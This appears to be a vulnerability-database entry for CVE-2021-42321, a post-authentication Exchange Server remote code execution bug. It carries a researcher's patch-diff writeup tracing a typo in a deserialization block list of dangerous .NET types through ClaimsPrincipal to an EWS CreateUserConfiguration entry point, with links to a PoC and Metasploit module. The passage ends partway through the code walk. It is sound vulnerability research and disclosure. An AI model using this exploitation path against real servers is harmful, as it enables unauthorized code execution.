Attacker Value
High
(1 user assessed)
Exploitability
High
(1 user assessed)
User Interaction
None
Privileges Required
Low
Attack Vector
Network
3

CVE-2021-42321

Disclosure Date: November 10, 2021
Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Privilege Escalation
Techniques
Validation
Validated

Description

Microsoft Exchange Server Remote Code Execution Vulnerability

Add Assessment

2
Ratings
Technical Analysis

A PoC for this vulnerability is now available at https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398. There is also a Metasploit module at https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/exchange_chainedserializationbinder_denylist_typo_rce.rb

What follows is my writeup for this that I wrote a while back, containing info on finding the bug from the patches as well as some info on the side effects of exploiting this bug.

Intro

Alright so looks like this bug, CVE-2021-42321 is a post authentication RCE bug.

Only affects Exchange 2016 CU 21 and CU 22. Also Exchange 2019 CU 10 and CU 11.

Found bug fix by patch diffing the October 2021 security updates and the November 2021 patches. Aka https://support.microsoft.com/help/5007409 which applies the November 2021 patch, and KB5007012 aka the October 2021 patch.

Personally I found that we can use [[7Zip]] to uncompress the MSI files from the patches, then use [[dnSpy]] from https://github.com/dnSpy/dnSpy to load all files in the directory we extract the patch contents to a folder. Note that [[ILSpy]] is a nice alternative however unfortunately it does run into issues with decompiling files that [[dnSpy]] can handle fine, so you end up missing lots of files from the export.

Once decompilation is done use File->Remove assemblies with load errors to remove the extra files that couldn’t be decompiled, then use File -> Save Code after selecting every single file in the code and it should show us the opportunity to create a new project to save the code to.

From here we can create a new directory to save the code into and tell it to save the decompiled code into that.

From there we can use [[Meld]] to do a directory diff of the files from the two patch files to see what changed.

Analyzing the Diff

Finding the Changed Files

Looking at just the new/removed files we can see the following:

![[Pasted image 20220205113200.png]]

As we can see here of particular note given this is a serialization bug is the fact that Microsoft.Exchange.Compliance.dll had three files removed from it, specifically under the Microsoft.Exchange.Compliance\Compliance\Serialiation\Formatters directory for the following files:

  • TypedBinaryFormatter.cs
  • TypedSerialiationFormatter.cs
  • TypedSoapFormatter.cs

Narrowing in on The Vulnerable File – TypedBinaryFormatter.cs

Looking through these files we can see that TypedBinaryFormatter.cs has a function named Deserialize with the following prototype:

// Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter  
using System.IO;  
using System.Runtime.Serialization;  
using Microsoft.Exchange.Diagnostics;  
  
private static object Deserialize(Stream serializationStream, SerializationBinder binder)  
{  
    return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.ComplianceFormatter, strictMode: false, allowedTypes, allowedGenerics).Deserialize(serializationStream);  
}

What is interesting here is that binder is a SerializationBinder, which is a essentially a class that acts as a controller to tell the program what can be and can’t be serialized and deserialized. Yet this is never passed into the ExchangeBinaryFormatterFactory.CreateBinaryFormatter() function, so it never gets this crucial information on what it is meant to be blocking as far as deserialization goes.

Examining Deserialize() Function Call to CallExchangeBinaryFormatterFactory.CreateBinaryFormatter()

Lets see where ExchangeBinaryFormatterFactory.CreateBinaryFormatter is defined. Looking for the string ExchangeBinaryFormatter in [[dnSpy]] will bring us to Microsoft.Exchange.Diagnostics.dll under the Microsoft.Exchange.Diagnostics namespace, then the ExchangeBinaryFormatterFactory we can see the definition for ExchangeBinaryFormatterFactory.CreateBinaryFormatter() as:

// Microsoft.Exchange.Diagnostics.ExchangeBinaryFormatterFactory  
using System.Runtime.Serialization.Formatters.Binary;  
  
public static BinaryFormatter CreateBinaryFormatter(DeserializeLocation usageLocation, bool strictMode = false, string[] allowList = null, string[] allowedGenerics = null)  
{  
    return new BinaryFormatter  
    {  
        Binder = new ChainedSerializationBinder(usageLocation, strictMode, allowList, allowedGenerics)  
    };  
}

Note also that in the original call strictMode was set to false and the allowList and allowedGenerics were set to TypedBinaryFormatter.allowedTypes, and TypedBinaryFormatter.allowedGenerics respectively. Meanwhile useageLocation was set to DeserializeLocation.ComplianceFormatter.

This will mean that we end up calling ChainedSerializationBinder with:

  • strictMode set to false,
  • allowList set to TypedBinaryFormatter.allowedTypes
  • allowedGenerics set to TypedBinaryFormatter.allowedGenerics
  • usageLocation set to DeserializeLocation.ComplianceFormatter.

Examining ChainedSerializationBinder Class Deeper

If we look at the code we can see that a new ChainedSerializationBinder instance is being created so lets take a look at that.

We can see the definition of the initialization function here:

// Microsoft.Exchange.Diagnostics.ChainedSerializationBinder  
using System;  
using System.Collections.Generic;  
  
public ChainedSerializationBinder(DeserializeLocation usageLocation, bool strictMode = false, string[] allowList = null, string[] allowedGenerics = null)  
{  
    this.strictMode = strictMode;  
    allowedTypesForDeserialization = ((allowList != null && allowList.Length != 0) ? new HashSet<string>(allowList) : null);  
    allowedGenericsForDeserialization = ((allowedGenerics != null && allowedGenerics.Length != 0) ? new HashSet<string>(allowedGenerics) : null);  
    typeResolver = typeResolver ?? ((Func<string, Type>)((string s) => Type.GetType(s)));  
    location = usageLocation;  
}

Here we can see that allowedTypesForDeserialization is set to TypedBinaryFormatter.allowedTypes and allowedGenericsForDeserialization is set to TypedBinaryFormatter.allowedGenerics. Furthermore, this.strictMode is set to false, and location is set to DeserializeLocation.ComplianceFormatter.

Next we should know that BindToType() is used to validate the class for deserialization. So lets take a look at that logic inside the ChainedSerializationBinder class.

// Microsoft.Exchange.Diagnostics.ChainedSerializationBinder  
using System;  
  
public override Type BindToType(string assemblyName, string typeName)  
{  
    if (serializationOnly)  
    {  
        throw new InvalidOperationException("ChainedSerializationBinder was created for serialization only.  This instance cannot be used for deserialization.");  
    }  
    Type type = InternalBindToType(assemblyName, typeName);  
    if (type != null)  
    {  
        ValidateTypeToDeserialize(type);  
    }  
    return type;  
}

Since serializationOnly isn’t set, we will skip this logic and get the type using InternalBindToType() which is a simple wrapper around LoadType() with no validation:

// Microsoft.Exchange.Diagnostics.ChainedSerializationBinder  
using System;  
  
protected virtual Type InternalBindToType(string assemblyName, string typeName)  
{  
    return LoadType(assemblyName, typeName);  
}

After getting the type we then check the type wasn’t null, aka we were able to find a valid type, and we call ValidateTypeToDeserialize(type) to validate that the type is okay to deserialize.

// Microsoft.Exchange.Diagnostics.ChainedSerializationBinder  
using System;  
  
protected void ValidateTypeToDeserialize(Type typeToDeserialize)  
{  
    if (typeToDeserialize == null)  
    {  
        return;  
    }  
    string fullName = typeToDeserialize.FullName;  
    bool flag = strictMode;  
    try  
    {  
        if (!strictMode && (allowedTypesForDeserialization == null || !allowedTypesForDeserialization.Contains(fullName)) && GlobalDisallowedTypesForDeserialization.Contains(fullName))  
        {  
            flag = true;  
            throw new InvalidOperationException($"Type {fullName} failed deserialization (BlockList).");  
        }  
        if (typeToDeserialize.IsConstructedGenericType)  
        {  
            fullName = typeToDeserialize.GetGenericTypeDefinition().FullName;  
            if (allowedGenericsForDeserialization == null || !allowedGenericsForDeserialization.Contains(fullName) || GlobalDisallowedGenericsForDeserialization.Contains(fullName))  
            {  
                throw new BlockedDeserializeTypeException(fullName, BlockedDeserializeTypeException.BlockReason.NotInAllow, location);  
            }  
        }  
        else if (!AlwaysAllowedPrimitives.Contains(fullName) && (allowedTypesForDeserialization == null || !allowedTypesForDeserialization.Contains(fullName) || GlobalDisallowedTypesForDeserialization.Contains(fullName)) && !typeToDeserialize.IsArray && !typeToDeserialize.IsEnum && !typeToDeserialize.IsAbstract && !typeToDeserialize.IsInterface)  
        {  
            throw new BlockedDeserializeTypeException(fullName, BlockedDeserializeTypeException.BlockReason.NotInAllow, location);  
        }  
    }  
    catch (BlockedDeserializeTypeException ex)  
    {  
        DeserializationTypeLogger.Singleton.Log(ex.TypeName, ex.Reason, location, (flag || strictMode) ? DeserializationTypeLogger.BlockStatus.TrulyBlocked : DeserializationTypeLogger.BlockStatus.WouldBeBlocked);  
        if (flag)  
        {  
            throw;  
        }  
    }  
}

Here is where the code gets interesting. You see, there is only one catch statement, which is designed to catch all BlockedDeserializationTypeException errors, however if (!strictMode && (allowedTypesForDeserialization == null || !allowedTypesForDeserialization.Contains(fullName)) && GlobalDisallowedTypesForDeserialization.Contains(fullName)) will result in an unhandled InvalidOperationException being thrown if both strictMode isn’t set and the type we are trying to deserialize is within the GlobalDisallowedTypesForDeserialization and has not been granted exception via the allowedTypesForDeserialization list. Since strictMode is not set, there is the very real possibility this exception might be thrown, so this is something we have to watch out for.

Otherwise every other exception thrown will be caught by this catch (BlockedDeserializeTypeException ex) code, however it will interestingly log the exception as a DeserializationTypeLogger.BlockStatus.WouldBeBlocked error since strictMode is set to false as is flag which is set as bool flag = strictMode; earlier in the code.

Additionally since flag isn’t set since strictMode is set to false, no error is thrown and the code proceeds normally without any errors.

However what is in this blacklist denoted by GlobalDisallowedTypesForDeserialization? Lets find out. First we need to find out how GlobalDisallowedTypesForDeserialization is defined.

Looking Deeper at GlobalDisallowedTypesForDeserialization Type Blacklist – Aka Finding the Bug

Looking at the code for Microsoft.Exchange.Diagnostics.ChainedSerializationBinder we can see that GlobalDisallowedTypesForDeserialization is actually set to the result of BuildDisallowedTypesForDeserialization() when it is initialized:

// Microsoft.Exchange.Diagnostics.ChainedSerializationBinder  
using System;  
using System.Collections.Generic;  
using System.IO;  
using System.Linq;  
using System.Reflection;  
using System.Runtime.Serialization;  
using Microsoft.Exchange.Diagnostics;  
  
public class ChainedSerializationBinder : SerializationBinder  
{  
    private const string TypeFormat = "{0}, {1}";  
  
    private static readonly HashSet<string> AlwaysAllowedPrimitives = new HashSet<string>  
    {  
        typeof(string).FullName,  
        typeof(int).FullName,  
        typeof(uint).FullName,  
        typeof(long).FullName,  
        typeof(ulong).FullName,  
        typeof(double).FullName,  
        typeof(float).FullName,  
        typeof(bool).FullName,  
        typeof(short).FullName,  
        typeof(ushort).FullName,  
        typeof(byte).FullName,  
        typeof(char).FullName,  
        typeof(DateTime).FullName,  
        typeof(TimeSpan).FullName,  
        typeof(Guid).FullName  
    };  
  
    private bool strictMode;  
  
    private DeserializeLocation location;  
  
    private Func<string, Type> typeResolver;  
  
    private HashSet<string> allowedTypesForDeserialization;  
  
    private HashSet<string> allowedGenericsForDeserialization;  
  
    private bool serializationOnly;  
  
    protected static HashSet<string> GlobalDisallowedTypesForDeserialization { get; private set; } = BuildDisallowedTypesForDeserialization();

If we decompile this function we can notice something interesting:

// Microsoft.Exchange.Diagnostics.ChainedSerializationBinder  
using System.Collections.Generic;

private static HashSet<string> BuildDisallowedTypesForDeserialization()  
    {  
        return new HashSet<string>  
        {  
            "Microsoft.Data.Schema.SchemaModel.ModelStore",
			"Microsoft.FailoverClusters.NotificationViewer.ConfigStore",
			"Microsoft.IdentityModel.Claims.WindowsClaimsIdentity",
			"Microsoft.Management.UI.Internal.FilterRuleExtensions",
			"Microsoft.Management.UI.FilterRuleExtensions",
			"Microsoft.Reporting.RdlCompile.ReadStateFile",
			"Microsoft.TeamFoundation.VersionControl.Client.PolicyEnvelope",
			"Microsoft.VisualStudio.DebuggerVisualizers.VisualizerObjectSource",
			"Microsoft.VisualStudio.Editors.PropPageDesigner.PropertyPageSerializationService+PropertyPageSerializationStore",
			"Microsoft.VisualStudio.EnterpriseTools.Shell.ModelingPackage",
			"Microsoft.VisualStudio.Modeling.Diagnostics.XmlSerialization",
			"Microsoft.VisualStudio.Publish.BaseProvider.Util",
			"Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties",
			"Microsoft.VisualStudio.Web.WebForms.ControlDesignerStateCache",
			"Microsoft.Web.Design.Remote.ProxyObject",
			"System.Activities.Presentation.WorkflowDesigner",
			"System.AddIn.Hosting.AddInStore",
			"System.AddIn.Hosting.Utils",
			"System.CodeDom.Compiler.TempFileCollection",
			"System.Collections.Hashtable",
			"System.ComponentModel.Design.DesigntimeLicenseContextSerializer",
			"System.Configuration.Install.AssemblyInstaller",
			"System.Configuration.SettingsPropertyValue",
			"System.Data.DataSet",
			"System.Data.DataViewManager",
			"System.Data.Design.MethodSignatureGenerator",
			"System.Data.Design.TypedDataSetGenerator",
			"System.Data.Design.TypedDataSetSchemaImporterExtension",
			"System.Data.SerializationFormat",
			"System.DelegateSerializationHolder",
			"System.Drawing.Design.ToolboxItemContainer",
			"System.Drawing.Design.ToolboxItemContainer+ToolboxItemSerializer",
			"System.IdentityModel.Services.Tokens.MachineKeySessionSecurityTokenHandler",
			"System.IdentityModel.Tokens.SessionSecurityToken",
			"System.IdentityModel.Tokens.SessionSecurityTokenHandler",
			"System.IO.FileSystemInfo",
			"System.Management.Automation.PSObject",
			"System.Management.IWbemClassObjectFreeThreaded",
			"System.Messaging.BinaryMessageFormatter",
			"System.Resources.ResourceReader",
			"System.Resources.ResXResourceSet",
			"System.Runtime.Remoting.Channels.BinaryClientFormatterSink",
			"System.Runtime.Remoting.Channels.BinaryClientFormatterSinkProvider",
			"System.Runtime.Remoting.Channels.BinaryServerFormatterSink",
			"System.Runtime.Remoting.Channels.BinaryServerFormatterSinkProvider",
			"System.Runtime.Remoting.Channels.CrossAppDomainSerializer",
			"System.Runtime.Remoting.Channels.SoapClientFormatterSink",
			"System.Runtime.Remoting.Channels.SoapClientFormatterSinkProvider",
			"System.Runtime.Remoting.Channels.SoapServerFormatterSink",
			"System.Runtime.Remoting.Channels.SoapServerFormatterSinkProvider",
			"System.Runtime.Serialization.Formatters.Binary.BinaryFormatter",
			"System.Runtime.Serialization.Formatters.Soap.SoapFormatter",
			"System.Runtime.Serialization.NetDataContractSerializer",
			"System.Security.Claims.ClaimsIdentity",
			"System.Security.ClaimsPrincipal",
			"System.Security.Principal.WindowsIdentity",
			"System.Security.Principal.WindowsPrincipal",
			"System.Security.SecurityException",
			"System.Web.Security.RolePrincipal",
			"System.Web.Script.Serialization.JavaScriptSerializer",
			"System.Web.Script.Serialization.SimpleTypeResolver",
			"System.Web.UI.LosFormatter",
			"System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem",
			"System.Web.UI.ObjectStateFormatter",
			"System.Windows.Data.ObjectDataProvider",
			"System.Windows.Forms.AxHost+State",
			"System.Windows.ResourceDictionary",
			"System.Workflow.ComponentModel.Activity",
			"System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector",
			"System.Xml.XmlDataDocument",
			"System.Xml.XmlDocument"
        };  
    }

This is a bit hard to read, so lets take a look at the patch diff from [[Meld]]:

![[Pasted image 20220205130924.png]]

Huh looks like there was a typo in the Security.System.Claims.ClaimsPrincipal blacklist entry where it was typed as Security.System.ClaimsPrincipal aka we missed an extra .Claims in the name.

Why Security.System.Claims.ClaimsPrincipal Was Blocked – A Deeper Dive into The Root Issue

Lets look at the call chain here. If we decompile the code for System.Security.Claims.ClaimsPrincipal we can see mentions of OnDeserialized which has a more full explanation at https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.ondeserializedattribute?view=net-6.0. Note that it states When OnDeserializedAttribute class is applied to a method, specifies that the method is called immediately after deserialization of an object in an object graph. The order of deserialization relative to other objects in the graph is non-deterministic.

Of particular interest is the OnDeserializedMethod() method which is called after deserialization takes place. Note that if there was a OnDeserializingMethod that would be called during deserialization which would also work.

Looking into the class more we notice the following functions:

Initializer. Note that this is labeled as [NonSerialized] so despite it calling the Deserialize() method it will not be called upon deserialization as it as explicitly declared itself as something that can’t be deserialized. Thus we can’t use this function to trigger the desired Deserialize() method call. Lets keep looking.

// System.Security.Claims.ClaimsPrincipal  
using System.Collections.Generic;  
using System.IO;  
using System.Runtime.Serialization;  
using System.Security.Principal;  
  
[OptionalField(VersionAdded = 2)]  
private string m_version = "1.0";  
[NonSerialized]  
private List<ClaimsIdentity> m_identities = new List<ClaimsIdentity>();  
[SecurityCritical]  
protected ClaimsPrincipal(SerializationInfo info, StreamingContext context)  
{  
    if (info == null)  
    {  
        throw new ArgumentNullException("info");  
    }  
    Deserialize(info, context);  
}

The next place to look is that weird OnDeserialized() method. Lets take a look at its code. We can see that the [OnDeserialized] class is applied to this method meaning that method is called immediately after deserialization of an object in an object graph. We can also see that it takes in a StreamingContext parameter and then proceeds to call DeserializeIdentities() with a variable known as m_serializedClaimIdentities:

// System.Security.Claims.ClaimsPrincipal  
using System.Runtime.Serialization;  
  
[OnDeserialized]  
[SecurityCritical]  
private void OnDeserializedMethod(StreamingContext context)  
{  
    if (!(this is ISerializable))  
    {  
        DeserializeIdentities(m_serializedClaimsIdentities);  
        m_serializedClaimsIdentities = null;  
    }  
}

But where is m_serializedClaimsIdentities set? Well looking at the OnSerializedMethod() function we can see this is set when serializing the object, as explained at https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.ondeserializingattribute?view=net-6.0 in the code examples and as shown below:

// System.Security.Claims.ClaimsPrincipal  
using System.Runtime.Serialization;  
  
[OnSerializing]  
[SecurityCritical]  
private void OnSerializingMethod(StreamingContext context)  
{  
    if (!(this is ISerializable))  
    {  
        m_serializedClaimsIdentities = SerializeIdentities();  
    }  
}

Alright so now we know how that is set, lets go back to the deserialization shall we? The code for DeserializeIdentities() can be seen below. Note that there is a call to binaryFormatter.Deserialize(serializationStream2, null, fCheck: false); in this code. binaryFormatter.Deserialize() is equivalent to BinaryFormatter.Deserialize(), which doesn’t bind a checker to check what types are being deserialized, so this method is easily exploitable if no checks or incorrect checks are being done on the types being deserialized. This is the case here due to the incorrect implementation of the type blacklist.

// System.Security.Claims.ClaimsPrincipal  
using System.Collections.Generic;  
using System.Globalization;  
using System.IO;  
using System.Runtime.Serialization;  
using System.Runtime.Serialization.Formatters.Binary;  
using System.Security.Principal;  
  
[SecurityCritical]  
private void DeserializeIdentities(string identities)  
{  
    m_identities = new List<ClaimsIdentity>();  
    if (string.IsNullOrEmpty(identities))  
    {  
        return;  
    }  
    List<string> list = null;  
    BinaryFormatter binaryFormatter = new BinaryFormatter();  
    using MemoryStream serializationStream = new MemoryStream(Convert.FromBase64String(identities));  
    list = (List<string>)binaryFormatter.Deserialize(serializationStream, null, fCheck: false);  
    for (int i = 0; i < list.Count; i += 2)  
    {  
        ClaimsIdentity claimsIdentity = null;  
        using (MemoryStream serializationStream2 = new MemoryStream(Convert.FromBase64String(list[i + 1])))  
        {  
            claimsIdentity = (ClaimsIdentity)binaryFormatter.Deserialize(serializationStream2, null, fCheck: false);  
        }  
        if (!string.IsNullOrEmpty(list[i]))  
        {  
            if (!long.TryParse(list[i], NumberStyles.Integer, NumberFormatInfo.InvariantInfo, out var result))  
            {  
                throw new SerializationException(Environment.GetResourceString("Serialization_CorruptedStream"));  
            }  
            claimsIdentity = new WindowsIdentity(claimsIdentity, new IntPtr(result));  
        }  
        m_identities.Add(claimsIdentity);  
    }  
}

So from this we can confirm that the chain for deserialization looks like this:

System.Security.Claims.ClaimsPrincipal.OnDeserializedMethod()  
   System.Security.Claims.ClaimsPrincipal.DeserializeIdentities()  
       BinaryFormatter.Deserialize()

Quick review

TLDR

We now have a type, TypedBinaryFormatter that has a binder who incorrectly validates the types that TypedBinaryFormatter deserializes and which allows the Security.Systems.Claims.ClaimsPrincipal to go through which allows for arbitrary type deserialization.

Longer explanation

Alright so lets quickly review what we know. We know we need to deserialize a TypedBinaryFormatter object whose Deserialize() method will result in a ExchangeBinaryFormatterFactory.CreateBinaryFormatter() call. This results in a new ChainedSerializationBinder class object being created whose BindToType() method that is used to validate the data that TypedBinaryFormatter will deserialize. BindToType() will call ValidateTypeToDeserialize() within the same class. This uses a blacklist in the variable GlobalDisallowedTypesForDeserialization which is set to the result of calling ChainedSerializationBinder’s BuildDisallowedTypesForDeserialization() method. Unfortunately this method had a typo so the Security.System.Claims.ClaimsPrincipal type was allowed though.

If we then deserialize an object of type Security.System.Claims.ClaimsPrincipal we can get it to hit a vulnerable BinaryFormatter.Deserialize() call via the call chain, which can deserialize arbitrary classes as this type of formatter doesn’t use a binder to check what types it deserializes.

TypedBinaryFormatter.DeserializeObject(Stream, TypeBinder)
	TypedBinaryFormatter.Desearialize(Stream)
		System.Security.Claims.ClaimsPrincipal.OnDeserializedMethod()  
		   System.Security.Claims.ClaimsPrincipal.DeserializeIdentities()  
		       BinaryFormatter.Deserialize()

The Source

Initial Inspection

Lets start at Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter.Deserialize(Stream, SerializationBinder) and work back. We start with this one as its the most common use case. If we look at the other remaining 3 function definition variations for the Deserialize() method, we will see that two of them have no callers, and the remaining one is a little more complex (I imagine its still viable but no need to complicate the beast when there are simpler ways!)

![[Pasted image 20220205174401.png]]

As is shown above we can see that Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter.Deserialize(Stream, SerializationBinder) is called by Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter.DeserializeObject(Stream, TypeBinder), which is turn called by Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream).

So deserialization chain is now:

Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)
	TypedBinaryFormatter.DeserializeObject(Stream, TypeBinder)
		TypedBinaryFormatter.Desearialize(Stream)
			System.Security.Claims.ClaimsPrincipal.OnDeserializedMethod()  
			   System.Security.Claims.ClaimsPrincipal.DeserializeIdentities()  
			       BinaryFormatter.Deserialize()

ILSpy And Interfaces – Finding Where Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream) is Used

At this point we hit a snag, as it seems like this isn’t called anywhere. However in [[ILSpy]] and we see we can see an Implements field that does not appear in [[dnSpy]] and if we expand this we can see that it has a Implemented By and Used By field.

We can see that Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream) implements Microsoft.Exchange.Data.ApplicationLogic.Extension.IClientExtensionCollectionFormatter.Deserialize (note the IClient not Client part here indicating that this is an interface, not a normal class), and that this interface is used by Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception), which will use this interface to call the Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream) function.

![[Pasted image 20220207195041.png]]

We can also verify that Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer is essentially just an interface wrapper around the ClientExtensionCollectionFormatter interface:

// Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer  
private IClientExtensionCollectionFormatter formatter;

So deserialization chain is now:

Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration, out OrgExtensionRetrievalResult, out Exception)
	Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)
		TypedBinaryFormatter.DeserializeObject(Stream, TypeBinder)
			TypedBinaryFormatter.Desearialize(Stream)
				System.Security.Claims.ClaimsPrincipal.OnDeserializedMethod()  
				   System.Security.Claims.ClaimsPrincipal.DeserializeIdentities()  
				       BinaryFormatter.Deserialize()

Finding the Expected Data Types for Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize

The code for Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception) can be seen below:

// Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer  
using System;  
using System.Collections;  
using System.IO;  
using System.Runtime.Serialization;  
using Microsoft.Exchange.Data.Storage;  
  
public bool TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception)  
{  
    result = new OrgExtensionRetrievalResult();  
    exception = null;  
    IDictionary dictionary = userConfiguration.GetDictionary();  
    if (dictionary.Contains("OrgDO"))  
    {  
        result.HasDefaultExtensionsWithDefaultStatesOnly = (bool)dictionary["OrgDO"];  
    }  
    bool flag = false;  
    if (!result.HasDefaultExtensionsWithDefaultStatesOnly)  
    {  
        using (Stream stream = userConfiguration.GetStream())  
        {  
            stream.Position = 0L;  
            try  
            {  
                result.Extensions = formatter.Deserialize(stream);  <- DESERIALIZATION HERE
                return true;  
            }  
            catch (SerializationException ex)  
            {  
                Tracer.TraceError(GetHashCode(), "deserialization failed with {0}", ex);  
                flag = false;  
                exception = ex;  
                return flag;  
            }  
        }  
    }  
    return true;  
}

Looking at the code here we can see that we appear to be deserializing a stream variable of type Stream, which is set to the result of calling userConfiguration.GetStream(). Further up in the code we can see userConfiguration is defined as an interface to the UserConfiguration class via the line IUserConfiguration userConfiguration in the parameter list. We can find more details on this class at https://docs.microsoft.com/en-us/dotnet/api/microsoft.exchange.webservices.data.userconfiguration?view=exchange-ews-api which mentions this is part of the Exchange EWS API.

Further Googling for UserConfiguration turns up https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/userconfiguration which references it as a EWS XML element that defines a single user configuration object with the following format:

<UserConfiguration> 
	<UserConfigurationName/> 
	<ItemId/> 
	<Dictionary/> 
	<XmlData/> 
	<BinaryData/> 
</UserConfiguration>

We also see there is a parent object called CreateUserConfiguration. Documentation for this object can be found at https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/createuserconfiguration where it is defined as follows:

<CreateUserConfiguration>
   <UserConfiguration/>
</CreateUserConfiguration>

Okay so this is great and all, but this leaves two questions. The first question is “How do we actually use this data in a web request?” and the second question is “What is this data used for normally?”. Further Googling of CreateUserConfiguration answers the second question when we find https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/createuserconfiguration-operation which mentions that The CreateUserConfiguration operation creates a user configuration object on a folder. This also provides some data examples on how this might be used as a SOAP request. However it doesn’t specify what endpoint we would have to send this to, leading to another open question. A second open question then becomes “Okay I suppose I might want to debug this later on in the code when developing the exploit, but where is it implemented?”. Lets answer that second question now.

Identifying CreateUserConfiguration Code

As it turns out, finding the code that handles CreateUserConfiguration takes us down a bit of a winding path. We start with Microsoft.Exchange.Data.Storage.IUserConfiguration as the definition of the interface we saw earlier in the Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception) function definition.

However once again we quickly realize that IUserConfiguration is just an interface class. Searching for UserConfiguration with the Type filter on eventually leads us to find the Microsoft.Exchange.Data.Storage.UserConfiguration type:

![[Pasted image 20220207203836.png]]

Looking inside this leads us to find Microsoft.Exchange.Data.Storage.UserConfiguration.GetConfiguration.

// Microsoft.Exchange.Data.Storage.UserConfiguration  
using Microsoft.Exchange.Diagnostics;  
using Microsoft.Exchange.Diagnostics.Components.Data.Storage;  
using Microsoft.Exchange.ExchangeSystem;  
  
public static UserConfiguration GetConfiguration(Folder folder, UserConfigurationName configurationName, UserConfigurationTypes type, bool autoCreate)  
{  
    EnumValidator.ThrowIfInvalid(type, "type");  
    try  
    {  
        return GetIgnoringCache(null, folder, configurationName, type);  
    }  
    catch (ObjectNotFoundException arg)  
    {  
        if (ExTraceGlobals.StorageTracer.IsTraceEnabled(TraceType.ErrorTrace))  
        {  
            ExTraceGlobals.StorageTracer.TraceError(0L, "UserConfiguration::GetConfiguration. User Configuration object not found. Exception = {0}.", arg);  
        }  
    }  
    if (autoCreate)  
    {  
        return Create(folder, configurationName, type);  
    }  
    return null;  
}

At this point, I knew that there has to be some way to create the user configuration object given the error message and wondered if there was a similarly named CreateUserConfiguration function, going off of the naming convention that seemed to be used for these functions. I searched for this and it turns out there was a function under Microsoft.Exchange.Services.Core.CreateUserConfiguration named CreateUserConfiguration().

![[Pasted image 20220207204246.png]]

Lets look at its code:

// Microsoft.Exchange.Services.Core.CreateUserConfiguration  
using Microsoft.Exchange.Services.Core.Types;  
  
public CreateUserConfiguration(ICallContext callContext, CreateUserConfigurationRequest request) : base(callContext, request)  
{  
    serviceUserConfiguration = request.UserConfiguration;  
    ServiceCommandBase<ICallContext>.ThrowIfNull(serviceUserConfiguration, "serviceUserConfiguration", "CreateUserConfiguration::ctor");  
}

Alright so this seems to take in some request object from a HTTP request or similar, and then set the serviceUserConfiguration variable to the section in the request named UserConfiguration with request.UserConfiguration. We seem to be on the right track, so lets look at the Microsoft.Exchange.Services.Core.Types.CreateUserConfigurationRequest type of the request variable:

// Microsoft.Exchange.Services.Core.Types.CreateUserConfigurationRequest  
using System.Runtime.Serialization;  
using System.Xml.Serialization;  
using Microsoft.Exchange.Services;  
using Microsoft.Exchange.Services.Core;  
using Microsoft.Exchange.Services.Core.Types;  
  
[XmlType("CreateUserConfigurationRequestType", Namespace = "http://schemas.microsoft.com/exchange/services/2006/messages")]  
[DataContract(Namespace = "http://schemas.datacontract.org/2004/07/Exchange")]  
public class CreateUserConfigurationRequest : BaseRequest  
{  
    [XmlElement]  
    [DataMember(IsRequired = true)]  
    public ServiceUserConfiguration UserConfiguration { get; set; }  
  
    internal override IServiceCommand GetServiceCommand(ICallContext callContext)  
    {  
        return new CreateUserConfiguration(callContext, this);  
    }  
  
    public override BaseServerIdInfo GetProxyInfo(IMinimalCallContext callContext)  
    {  
        if (UserConfiguration == null || UserConfiguration.UserConfigurationName == null || UserConfiguration.UserConfigurationName.BaseFolderId == null)  
        {  
            return null;  
        }  
        return BaseServerIdInfoFactory.GetServerInfoForFolderId(callContext, UserConfiguration.UserConfigurationName.BaseFolderId);  
    }  
}

Here we can see that UserConfiguration is of type Microsoft.Exchange.Services.Core.Types.ServiceUserConfiguration so lets check out that definition:

// Microsoft.Exchange.Services.Core.Types.ServiceUserConfiguration  
using System;  
using System.Runtime.Serialization;  
using System.Xml.Serialization;  
using Microsoft.Exchange.Services.Core.Types;  
  
[Serializable]  
[XmlType(TypeName = "UserConfigurationType", Namespace = "http://schemas.microsoft.com/exchange/services/2006/types")]  
[DataContract(Namespace = "http://schemas.datacontract.org/2004/07/Exchange")]  
public class ServiceUserConfiguration  
{  
